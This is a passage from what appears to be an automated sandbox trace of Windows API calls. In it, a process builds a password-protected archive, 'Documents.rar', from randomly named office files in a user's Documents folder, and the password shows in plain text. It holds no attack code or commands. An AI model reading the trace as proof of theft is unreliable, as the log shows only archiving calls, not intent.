wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.741] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.741] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.741] ResetEvent (hEvent=0x33c) returned 1 [0082.741] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.742] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.742] ResetEvent (hEvent=0x33c) returned 1 [0082.742] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.743] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.743] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.743] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.743] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0xdb60c [0082.743] SetFilePointer (in: hFile=0x32c, lDistanceToMove=143, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0xdb69b [0082.743] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.743] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.743] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.743] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.744] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xfdf0, lpOverlapped=0x0) returned 1 [0082.745] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.745] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.745] SetFilePointer (in: hFile=0x32c, lDistanceToMove=898572, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xdb60c [0082.745] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0xdb60c [0082.745] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0082.747] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0082.747] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799e0, Size=0x48) returned 0x1162e889120 [0082.747] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.747] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.747] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e30, Size=0x48) returned 0x1162e8893a0 [0082.747] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.747] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e889120 | out: hHeap=0x1162e7c0000) returned 1 [0082.747] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b60 [0082.747] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0082.747] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0d0 | out: hHeap=0x1162e7c0000) returned 1 [0082.747] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b60 | out: hHeap=0x1162e7c0000) returned 1 [0082.747] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799b0, Size=0x55) returned 0x1163204d4c0 [0082.747] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d4c0, Size=0x91) returned 0x1163209a920 [0082.747] WriteFile (in: hFile=0x32c, lpBuffer=0x1163209a922*, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163209a922*, lpNumberOfBytesWritten=0x141a0d82c0*=0x8f, lpOverlapped=0x0) returned 1 [0082.747] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ce0 [0082.747] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8f) returned 0x1163209ad80 [0082.747] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.747] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209a920 | out: hHeap=0x1162e7c0000) returned 1 [0082.747] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xeb48b [0082.747] CloseHandle (hObject=0x350) returned 1 [0082.748] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0082.748] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0082.748] GetFocus () returned 0x1031c [0082.748] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0082.748] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.748] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 1 [0082.748] GetMessageW (in: lpMsg=0x141a0dd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd830) returned 1 [0082.748] GetFocus () returned 0x1031c [0082.748] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd830) returned 1 [0082.749] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.749] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\xZQ7e8.pptx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d580 [0082.749] FindClose (in: hFindFile=0x1163204d580 | out: hFindFile=0x1163204d580) returned 1 [0082.749] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\xZQ7e8.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\xzq7e8.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.749] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.749] GetTickCount () returned 0x2a7de [0082.749] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.749] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.749] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.749] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.749] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="XXRZ1Ntz_m owLhUomX.rtf") returned 23 [0082.749] SetWindowTextW (hWnd=0x10300, lpString="xZQ7e8.pptx") returned 1 [0082.750] GetTickCount () returned 0x2a7de [0082.750] UpdateWindow (hWnd=0x102f8) returned 1 [0082.750] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.750] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.750] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.750] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.750] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0xf1)) [0082.750] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.750] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17407912127) returned 1 [0082.751] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x18e6c, lpOverlapped=0x0) returned 1 [0082.752] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba6eac, nNumberOfBytesToRead=0xe7194, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba6eac*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.752] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.752] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.752] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.752] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0082.752] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a070, Size=0x48) returned 0x1162e888680 [0082.752] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.752] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0082.752] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a070, Size=0x48) returned 0x1162e888950 [0082.752] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.752] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0082.752] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0082.752] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b60 [0082.752] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b60 | out: hHeap=0x1162e7c0000) returned 1 [0082.752] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f20 | out: hHeap=0x1162e7c0000) returned 1 [0082.752] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x49) returned 0x1163204d640 [0082.752] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d640, Size=0x85) returned 0x1163205cad0 [0082.752] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888950 | out: hHeap=0x1162e7c0000) returned 1 [0082.752] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cad0 | out: hHeap=0x1162e7c0000) returned 1 [0082.755] GetTickCount () returned 0x2a7de [0082.755] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17408362001) returned 1 [0082.755] GetTickCount () returned 0x2a7de [0082.755] GetTickCount () returned 0x2a7de [0082.755] GetTickCount () returned 0x2a7de [0082.755] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.755] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.755] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.755] ResetEvent (hEvent=0x344) returned 1 [0082.755] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.757] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.757] ResetEvent (hEvent=0x344) returned 1 [0082.757] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.763] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.763] ResetEvent (hEvent=0x344) returned 1 [0082.763] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.767] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.767] GetTickCount () returned 0x2a7ee [0082.767] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17409572212) returned 1 [0082.767] GetTickCount () returned 0x2a7ee [0082.767] GetTickCount () returned 0x2a7ee [0082.767] GetTickCount () returned 0x2a7ee [0082.767] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.767] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.767] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.767] ResetEvent (hEvent=0x33c) returned 1 [0082.767] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.768] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.768] ResetEvent (hEvent=0x33c) returned 1 [0082.769] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.770] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.770] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.770] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.770] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0xeb48b [0082.770] SetFilePointer (in: hFile=0x32c, lDistanceToMove=130, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0xeb50d [0082.770] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.770] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.770] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.770] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.770] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x18f50, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x18f50, lpOverlapped=0x0) returned 1 [0082.776] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.776] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.776] SetFilePointer (in: hFile=0x32c, lDistanceToMove=963723, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0xeb48b [0082.776] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0xeb48b [0082.778] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.778] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0082.778] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079d40, Size=0x48) returned 0x1162e888ea0 [0082.778] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.778] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0082.778] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a070, Size=0x48) returned 0x1162e8893a0 [0082.778] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.778] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.778] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0082.778] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0082.778] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079950 | out: hHeap=0x1162e7c0000) returned 1 [0082.778] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f80 | out: hHeap=0x1162e7c0000) returned 1 [0082.778] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e30, Size=0x49) returned 0x1163204d460 [0082.778] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x85) returned 0x1163205cec0 [0082.778] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205cec3*, nNumberOfBytesToWrite=0x82, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205cec3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x82, lpOverlapped=0x0) returned 1 [0082.779] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d40 [0082.779] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x82) returned 0x1163205c650 [0082.779] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.779] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cec0 | out: hHeap=0x1162e7c0000) returned 1 [0082.779] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x10445d [0082.779] CloseHandle (hObject=0x350) returned 1 [0082.779] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.779] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.779] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.779] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.779] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\DLaLU5Np1FYR8L.ods", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0082.780] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0082.780] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\DLaLU5Np1FYR8L.ods" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\2noj5\\dlalu5np1fyr8l.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.780] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.780] GetTickCount () returned 0x2a7fe [0082.780] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.780] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.780] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.780] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.780] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="xZQ7e8.pptx") returned 11 [0082.780] SetWindowTextW (hWnd=0x10300, lpString="DLaLU5Np1FYR8L.ods") returned 1 [0082.781] GetTickCount () returned 0x2a7fe [0082.781] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.781] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.781] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.781] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.781] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x110)) [0082.781] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.782] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17411165982) returned 1 [0082.783] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x129f7, lpOverlapped=0x0) returned 1 [0082.784] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba0a37, nNumberOfBytesToRead=0xed609, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba0a37*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.784] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.784] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.784] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0082.784] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0082.784] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e8893a0 [0082.784] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.785] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a70 [0082.785] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a70, Size=0x48) returned 0x1162e888fe0 [0082.785] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.785] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0082.785] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b60 [0082.785] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0082.785] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079aa0 | out: hHeap=0x1162e7c0000) returned 1 [0082.785] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b60 | out: hHeap=0x1162e7c0000) returned 1 [0082.785] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x63) returned 0x1162e7f9530 [0082.785] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e7f9530, Size=0x9f) returned 0x1162e873d80 [0082.785] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888fe0 | out: hHeap=0x1162e7c0000) returned 1 [0082.785] HeapFree (in: 